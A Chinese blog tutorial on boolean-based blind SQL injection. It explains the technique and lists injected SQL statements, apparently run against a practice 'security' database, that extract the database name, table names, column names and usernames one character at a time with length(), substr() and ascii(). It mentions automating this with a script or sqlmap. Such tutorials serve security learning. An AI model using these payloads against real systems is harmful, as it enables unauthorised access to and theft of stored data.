布尔注入与脚本自动化的简单实现

布尔注入简介
在注入过程中我们只能直接知道注入成功与否而不知道注入得到的回显甚至都不能直接知道注入是否成功的注入叫做盲注。盲注可能是真的是在完全黑盒情况下完全盲注,也可能通过侧信道攻击通过一些特殊手段能判断出命令执行是否成功,例如时间盲注。
简单原理介绍
在我们能通过某种方式判断注入执行结果成功与否,例如Web页面返回True或False时,我们可以使用and,or关键字配合一些语句得到后台数据信息,包括但不限于:
- ascii()
返回字符ASCII码值 - length()
返回字符串长度 - left()
返回从左到右截取的一定长度的字符串 - substr()
返回从指定位置开始截取的一定长度的子字符串
我们可以在一句总是正确的SQL语句后使用and关键字或者在一句总是错误的语句后使用or关键字配合这些语句,通过组合后的语句的执行结果判断我们拼凑上去的语句的执行结果。在这一点的基础上,我们可以做到得到数据库名表名列名字段名等等效果
一般注入流程
求当前数据库的数据库名长度
-- length 返回长度 -- 8是当前数据库'security'的长度 SELECT * from users WHERE id = 1 and (length(database())=8) -- 也可以使用 > 、< 符号来进一步缩小范围 SELECT * from users WHERE id = 1 and (length(database())>8) -- 当长度正确就页面就显示正常,其余页面则显示错误 -- substr 返回子字符串 -- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r' -- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false -- and 后只要不为 0, 页面都会返回正常 SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))
求当前数据库名
-- 从左至右截取一个字符 SELECT * from users WHERE id = 1 and (left(database(),1)='s') -- 从左只有截取两个字符 SELECT * from users WHERE id = 1 and (left(database(),2)='se') SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115) SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = 101)
求当前数据库中表的个数
SELECT * from users WHERE id = 1 AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4
求当前数据库表的表名长度
-- length SELECT * from users WHERE id = 1 AND (LENGTH((select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1))) = 6 -- substr SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),6,1))
求当前数据库表的表名
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),1,1)) = 101 -- e SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),2,1)) = 109 -- m
求指定表中列的数量
SELECT * from users WHERE id = 1 AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
求指定表中列的长度
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))
求指定表中的列名
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),1,1)) = 105
求指定表中某字段的数量
SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
求字段长度
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select username from users limit 0,1),4,1))
求字段名
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68
布尔注入的自动化
由于猜解后端信息需要执行大量的SQL注入语句,因此我们常常编写脚本自动完成这一重复性工作,例如一个用以参考的注入脚本,或者SQLMAP一把梭 :P
- Title: 布尔注入与脚本自动化的简单实现
- Author: 7erry
- Created at : 2023-07-23 00:00:00
- Updated at : 2023-07-23 00:00:00
- Link: http://7erry.com/2023/07/23/布尔注入与脚本自动化的简单实现/
- License: This work is licensed under CC BY-NC 4.0.